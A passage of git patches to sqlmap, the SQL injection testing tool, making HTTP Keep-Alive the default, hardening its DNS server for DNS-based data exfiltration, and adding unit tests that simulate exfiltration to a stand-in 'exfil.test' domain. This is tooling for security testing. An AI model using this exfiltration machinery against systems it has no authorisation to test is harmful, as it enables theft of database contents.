import md5 - format = '%25s: %s' - - # first fetch the file with the normal http handler - opener = _urllib.request.build_opener() - _urllib.request.install_opener(opener) - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - m = md5(foo) - print(format % ('normal urllib', m.hexdigest())) - - # now install the keepalive handler and try again - opener = _urllib.request.build_opener(HTTPHandler()) - _urllib.request.install_opener(opener) - - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - m = md5(foo) - print(format % ('keepalive read', m.hexdigest())) - - fo = _urllib.request.urlopen(url) - foo = b'' - while 1: - f = fo.readline() - if f: foo += f - else: break - fo.close() - m = md5(foo) - print(format % ('keepalive readline', m.hexdigest())) - -def comp(N, url): - print(' making %i connections to:\n %s' % (N, url)) - - sys.stdout.write(' first using the normal urllib handlers') - # first use normal opener - opener = _urllib.request.build_opener() - _urllib.request.install_opener(opener) - t1 = fetch(N, url) - print(' TIME: %.3f s' % t1) - - sys.stdout.write(' now using the keepalive handler ') - # now install the keepalive handler and try again - opener = _urllib.request.build_opener(HTTPHandler()) - _urllib.request.install_opener(opener) - t2 = fetch(N, url) - print(' TIME: %.3f s' % t2) - print(' improvement factor: %.2f' % (t1/t2, )) - -def fetch(N, url, delay=0): - import time - lens = [] - starttime = time.time() - for i in _range(N): - if delay and i > 0: time.sleep(delay) - fo = _urllib.request.urlopen(url) - foo = fo.read() - fo.close() - lens.append(len(foo)) - diff = time.time() - starttime - - j = 0 - for i in lens[1:]: - j = j + 1 - if not i == lens[0]: - print("WARNING: inconsistent length on read %i: %i" % (j, i)) - - return diff - -def test_timeout(url): - global DEBUG - dbbackup = DEBUG - class FakeLogger: - def debug(self, msg, *args): print(msg % args) - info = warning = error = debug - DEBUG = FakeLogger() - print(" fetching the file to establish a connection") - fo = _urllib.request.urlopen(url) - data1 = fo.read() - fo.close() - - i = 20 - print(" waiting %i seconds for the server to close the connection" % i) - while i > 0: - sys.stdout.write('\r %2i' % i) - sys.stdout.flush() - time.sleep(1) - i -= 1 - sys.stderr.write('\r') - - print(" fetching the file a second time") - fo = _urllib.request.urlopen(url) - data2 = fo.read() - fo.close() - - if data1 == data2: - print(' data are identical') - else: - print(' ERROR: DATA DIFFER') - - DEBUG = dbbackup - - -def test(url, N=10): - print("checking error hander (do this on a non-200)") - try: error_handler(url) - except IOError as e: - print("exiting - exception will prevent further tests") - sys.exit() - print() - print("performing continuity test (making sure stuff isn't corrupted)") - continuity(url) - print() - print("performing speed comparison") - comp(N, url) - print() - print("performing dropped-connection check") - test_timeout(url) - -if __name__ == '__main__': - import time - import sys - try: - N = int(sys.argv[1]) - url = sys.argv[2] - except: - print("%s " % sys.argv[0]) - else: - test(url, N) From 9d653d2d50d77ec975859928b612564394d0abd2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 01:59:23 +0200 Subject: [PATCH 589/853] Making Keep-Alive on by default --- data/txt/sha256sums.txt | 14 +++++++------- lib/core/common.py | 2 +- lib/core/option.py | 31 +++++++++++++++--------------- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- lib/parse/cmdline.py | 5 +++-- lib/request/keepalive.py | 41 ++++++++++++++++++++++++++++++++++++++++ 8 files changed, 70 insertions(+), 28 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 078df0a9ab8..1059767f596 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9da83429449d78797c18bb79ff425aa1eddf5b26b9987d25d042eb0998053675 lib/core/agent.py 12d0f1f28796b6fbf5629a3fd335b4098eac0583f832d1aa650efa22bf52e782 lib/core/bigarray.py -c6dee43458e55d4e20bbd04a63efd4cbe839f3fce1d60de2673d85462d0718bd lib/core/common.py +e55201cbaa05aac7091cccda361963a74635172bdd9d403feeadf400e09a14cf lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -181,26 +181,26 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -31690232f12d0590c8cbea7245ded86875f63c078da99673af4ab7451f0fffcb lib/core/optiondict.py -598f48639bcc7bb665a2adc538e5349999de620ea9ed5a821f89a823dc5fa093 lib/core/option.py +b5da34bba9ce71ede23349698988939501f5df07be151856007b9b8425a228db lib/core/optiondict.py +c1a9edb894033f1cef0a15a05cca196f816df3465444134af171870dedbe1538 lib/core/option.py ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ab38bb42e8e2a7eda7380574f5083e0a65daa154fb345ef3385dbb2c128ed9df lib/core/settings.py +f47aed1aa1a986dc2d3789358a34f79aa1111e7ab8747c4fba4dfe3443f778a0 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -2eb9e51bf6ecdc0f4aab4e0b4e2ba14bc5edaa04dbc6b9588e4ece6fc8483f3d lib/core/testing.py +d213562601682fd72603a22f35e5af4e3f41e23bfb143e1584a4fa212a232635 lib/core/testing.py e3e653364d08d04d7492aa40a2bd29c6a28f4d78fecdd6c10f21f6cb28b98b4c lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py 2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c lib/core/wordlist.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py -18845fd56a87e02cdd847526185e500b6cb1f26a272c368b862217466b98db16 lib/parse/cmdline.py +d0aa9559d1aa94f5c1a647997e9298eb03403a5800ffb739bb3ceba8b5a37da9 lib/parse/cmdline.py 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -218,7 +218,7 @@ cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -ab3afa064a84029ef55804bfcc02e49c7f8f47aad51448b5b3adfda1dd59073e lib/request/keepalive.py +d55b67943d925e40f019920ac7805655217c1e8f893d71d855dce724225c8fb8 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py diff --git a/lib/core/common.py b/lib/core/common.py index 3e1176bf9e1..981ab3f66fa 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3614,7 +3614,7 @@ def setOptimize(): """ # conf.predictOutput = True - conf.keepAlive = True + # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers) conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) diff --git a/lib/core/option.py b/lib/core/option.py index 571bae50df9..f1a6882936f 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1241,23 +1241,22 @@ def _setHTTPHandlers(): handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - if conf.keepAlive: - warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " - warnMsg += "been disabled because of its incompatibility " + # Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out, + # and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods, + # or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler) + conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked - if conf.proxy: - warnMsg += "with HTTP(s) proxy" - logger.warning(warnMsg) - elif conf.authType: - warnMsg += "with authentication methods" - logger.warning(warnMsg) - else: - # Note: persistent connections for both HTTP and HTTPS; the keep-alive - # HTTPS handler supersedes the regular one (reusing its SSL connection) - if httpsHandler in handlers: - handlers.remove(httpsHandler) - handlers.append(keepAliveHandler) - handlers.append(keepAliveHandlerHTTPS) + if conf.keepAlive: + # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS + # handler supersedes the regular one (reusing its SSL connection) + if httpsHandler in handlers: + handlers.remove(httpsHandler) + handlers.append(keepAliveHandler) + handlers.append(keepAliveHandlerHTTPS) + elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked): + reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding") + debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason + logger.debug(debugMsg) opener = _urllib.request.build_opener(*handlers) opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 9270511c036..98e33e047da 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -79,6 +79,7 @@ "optimize": "boolean", "predictOutput": "boolean", "keepAlive": "boolean", + "noKeepAlive": "boolean", "nullConnection": "boolean", "threads": "integer", }, diff --git a/lib/core/settings.py b/lib/core/settings.py index 06a808e6219..604303249b3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.133" +VERSION = "1.10.6.134" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index a640c977993..0969c0eab9e 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -64,7 +64,7 @@ def vulnTest(): ("-u -p id --flush-session --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), - ("-l --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), + ("-l --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index e369f19c99d..84d54301401 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -315,8 +315,9 @@ def cmdLineParser(argv=None): optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", help="Predict common queries output") - optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true", - help="Use persistent HTTP(s) connections") + # Note: persistent (Keep-Alive) connections are used by default; this opts out + optimization.add_argument("--no-keep-alive", dest="noKeepAlive", action="store_true", + help="Disable persistent HTTP(s) connections (Keep-Alive)") optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", help="Retrieve page length without actual HTTP response body") diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py index 4e300cf2e0b..cee9ed3441e 100644 --- a/lib/request/keepalive.py +++ b/lib/request/keepalive.py @@ -144,6 +144,12 @@ def _adapt(self, response, url): if not hasattr(response, "getcode"): response.getcode = lambda response=response: response.status + # Note: Python 2's httplib.HTTPResponse lacks readline()/readlines(), which urllib2's + # error wrapping (addinfourl, for any non-2xx response) requires; provide them over read() + if not hasattr(response, "readline"): + response.readline = _makeReadline(response) + response.readlines = _makeReadlines(response) + # Note: must come last as on Python 3 'msg' initially aliases the headers response.msg = response.reason @@ -264,3 +270,38 @@ def _sendRequest(conn, req): if data is not None: conn.send(data) + +def _makeReadline(response): + """ + A buffered readline() over response.read() (Python 2 httplib.HTTPResponse lacks one) + """ + + buffer = {"data": b""} + + def readline(*args, **kwargs): + while b"\n" not in buffer["data"]: + chunk = response.read(8192) + if not chunk: + break + buffer["data"] += chunk + data = buffer["data"] + index = data.find(b"\n") + if index == -1: + buffer["data"] = b"" + return data + buffer["data"] = data[index + 1:] + return data[:index + 1] + + return readline + +def _makeReadlines(response): + def readlines(*args, **kwargs): + result = [] + while True: + line = response.readline() + if not line: + break + result.append(line) + return result + + return readlines From e82b1b56f7c4721d1201761ffc2dc2da69ca0a05 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 22:36:48 +0200 Subject: [PATCH 590/853] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 7 ++++++- lib/request/dns.py | 36 +++++++++++++++++++++++++++++------- lib/techniques/dns/use.py | 5 ++++- 4 files changed, 42 insertions(+), 12 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 1059767f596..598648de09e 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -f47aed1aa1a986dc2d3789358a34f79aa1111e7ab8747c4fba4dfe3443f778a0 lib/core/settings.py +65603f9bbf42cd67a1cf9b3f6277b3af3fdf6b3678fcaa2fe21fe09961f9316c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -214,7 +214,7 @@ bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/ch 390cc4882ba9c76e16a5376ba6d856079e7cb47a3e4ee11925139e637ce05050 lib/request/comparison.py b9e2db44d265909792f6cc821ff910727b14aa2d5063c74b0f2ea6d40c4f3d9d lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py -cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py +05198477dbdeb6c405059eb21cbbcf9cb6804cc54a0f2a1d11741bfc6cbb7ca2 lib/request/dns.py 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py @@ -236,7 +236,7 @@ f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/r 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py -2934514a60cbcd48675053a73f785b4c7bfe606b51c34ae81a86818362ec4672 lib/techniques/dns/use.py +74ca78082dcd20b3faf07cc944cd65ea552996df40e6fb58d0a011b262528456 lib/techniques/dns/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py 5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 604303249b3..e48738fb124 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.134" +VERSION = "1.10.6.135" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -809,6 +809,11 @@ # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 +# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so +# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the +# value is popped right after it is triggered, so only recent entries ever matter) +MAX_DNS_REQUESTS = 1000 + # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) diff --git a/lib/request/dns.py b/lib/request/dns.py index 1be54888274..ffd389a4da0 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -8,6 +8,7 @@ from __future__ import print_function import binascii +import collections import os import re import socket @@ -15,6 +16,11 @@ import threading import time +try: + from lib.core.settings import MAX_DNS_REQUESTS +except ImportError: + MAX_DNS_REQUESTS = 1000 # fallback so this module stays runnable standalone + class DNSQuery(object): """ >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." @@ -74,7 +80,7 @@ class DNSServer(object): def __init__(self): self._check_localhost() - self._requests = [] + self._requests = collections.deque(maxlen=MAX_DNS_REQUESTS) self._lock = threading.Lock() try: @@ -140,12 +146,28 @@ def _(): self._initialized = True while True: - data, addr = self._socket.recvfrom(1024) - _ = DNSQuery(data) - self._socket.sendto(_.response("127.0.0.1"), addr) - - with self._lock: - self._requests.append(_._query) + try: + data, addr = self._socket.recvfrom(1024) + except KeyboardInterrupt: + raise + except Exception: + break # socket closed/broken - stop serving (e.g. program exit) + + # Note: a single malformed packet or a transient send error must NOT kill the + # server thread (otherwise all subsequent DNS exfiltration is silently lost). + # The query is recorded BEFORE responding, so the exfiltrated data is captured + # even if crafting/sending the (fake) resolution response fails. + try: + _ = DNSQuery(data) + + with self._lock: + self._requests.append(_._query) + + self._socket.sendto(_.response("127.0.0.1"), addr) + except KeyboardInterrupt: + raise + except Exception: + pass except KeyboardInterrupt: raise diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 78854c0122a..1f0d21f3190 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -84,7 +84,10 @@ def dnsUse(payload, expression): _ = conf.dnsServer.pop(prefix, suffix) if _: - _ = extractRegexResult(r"%s\.(?P.+)\.%s" % (prefix, suffix), _, re.I) + # Note: non-greedy so a '--dns-domain' label that happens to match the random + # suffix can't make the match run past the real boundary (the boundary alphabet + # excludes hex characters, so it can never under-match into the hex payload) + _ = extractRegexResult(r"%s\.(?P.+?)\.%s" % (prefix, suffix), _, re.I) _ = decodeDbmsHexValue(_) output = (output or "") + _ offset += len(_) From 7e652ed15d39f37008be03030cc113d59eec3e8e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 21 Jun 2026 22:38:22 +0200 Subject: [PATCH 591/853] Adding some more pyunittests --- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- tests/test_dns_engine.py | 272 ++++++++++++++++++++++++++++++++++++ tests/test_dns_server.py | 291 +++++++++++++++++++++++++++++++++++++++ 4 files changed, 567 insertions(+), 2 deletions(-) create mode 100644 tests/test_dns_engine.py create mode 100644 tests/test_dns_server.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 598648de09e..6701d079cfb 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -65603f9bbf42cd67a1cf9b3f6277b3af3fdf6b3678fcaa2fe21fe09961f9316c lib/core/settings.py +de4f4a95b30c703518a68d96a904bcf908033be8a0d9a03000a2da163f139303 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -587,6 +587,8 @@ a48c411fea864e6bcd6a1c7e1a35094b8cda8d15088fd9e7b0270542ae20daa9 tests/test_com 9c0a0cd0b2d52a53f75c98c60f87a022354b7c3dc4baaf3fe1e272a0af5b7f0a tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py +a38f3257aa218fa706ddb903c181715b2286619c46aea0097b7d365d18c410c5 tests/test_dns_engine.py +703faac01f38224ba85bd0fc398d939ea034f1d7fd641cdc15da4f77ec049443 tests/test_dns_server.py 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e48738fb124..2ef55ebfa00 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.135" +VERSION = "1.10.6.136" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py new file mode 100644 index 00000000000..efb2ac8819f --- /dev/null +++ b/tests/test_dns_engine.py @@ -0,0 +1,272 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +The DNS-exfiltration extraction engine (lib/techniques/dns/use.py dnsUse) and the +channel-detection probe (lib/techniques/dns/test.py dnsTest). + +DNS exfil is normally driven by a back-end DBMS that performs an actual DNS lookup +of an attacker-controlled hostname (Oracle UTL_INADDR, MSSQL xp_dirtree, ...), +encoding the queried data in the subdomain labels which then reach sqlmap's +in-process DNS server. That DBMS behaviour cannot be reproduced locally without a +real DNS-emitting engine, so here we drive the REAL dnsUse()/dnsTest() logic + the +REAL DNSServer (on a high port, no root) and emulate ONLY that one step: a mock +Request.queryPage plays the DBMS - it takes the per-iteration boundaries dnsUse +generated and fires a genuine UDP DNS query for +'prefix..suffix.domain' at the DNS server. + +So the chunking/offset/reassembly loop, the dns_request snippet rendering, the +DNSServer packet parse, pop(prefix,suffix), regex extraction, hex decoding and the +detection-then-disable logic are all exercised for real; if any of them regress +these go red - without a live DBMS. + +NOTE on fidelity: secrets are kept ASCII so the mock's byte-slice chunking matches a +DBMS character-substring exactly. Multi-byte (UTF-8) values, where DBMS SUBSTRING is +character-based and a chunk could split a code point, need the real-DBMS run. +""" + +import binascii +import os +import socket +import struct +import sys +import threading +import time +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms +bootstrap() + +from lib.core.agent import agent +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import DBMS +from lib.core.exception import SqlmapNotVulnerableException +from lib.core.settings import DNS_BOUNDARIES_ALPHABET +from lib.core.settings import MAX_DNS_LABEL +from lib.request.connect import Connect +from lib.request.dns import DNSServer +import lib.techniques.dns.use as dnsmod +import lib.techniques.dns.test as dnstestmod + +DNS_PORT = 5355 + +def _build_query(name, tid=b"\x12\x34"): + pkt = tid + b"\x01\x00" + b"\x00\x01" + b"\x00\x00" + b"\x00\x00" + b"\x00\x00" + for label in name.split("."): + if label: + pkt += struct.pack("B", len(label)) + label.encode() + return pkt + b"\x00" + b"\x00\x01" + b"\x00\x01" + +class _HighPortDNSServer(DNSServer): + # same logic as the real server (parse/pop/run), just bound high so no root is needed + def __init__(self, port): + self._requests = [] + self._lock = threading.Lock() + self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._socket.bind(("127.0.0.1", port)) + self._running = False + self._initialized = False + +_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False} +_KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False} + + +class _DnsCase(unittest.TestCase): + DBMS_NAME = "MySQL" + + @classmethod + def setUpClass(cls): + cls.server = _HighPortDNSServer(DNS_PORT) + cls.server.run() + while not cls.server._initialized: + time.sleep(0.02) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in _CONF} + self._saved_kb = {k: kb.get(k) for k in _KB} + self._saved_qp = Connect.queryPage + self._saved_randomStr = dnsmod.randomStr + self._saved_randomInt = dnstestmod.randomInt + self._saved_dnsServer = conf.get("dnsServer") + self._saved_hdbR, self._saved_hdbW = dnsmod.hashDBRetrieve, dnsmod.hashDBWrite + for k, v in _CONF.items(): + conf[k] = v + for k, v in _KB.items(): + kb[k] = v + conf.dnsServer = self.server + # isolate from the session hash DB (avoid cross-test value caching / uninitialized store) + 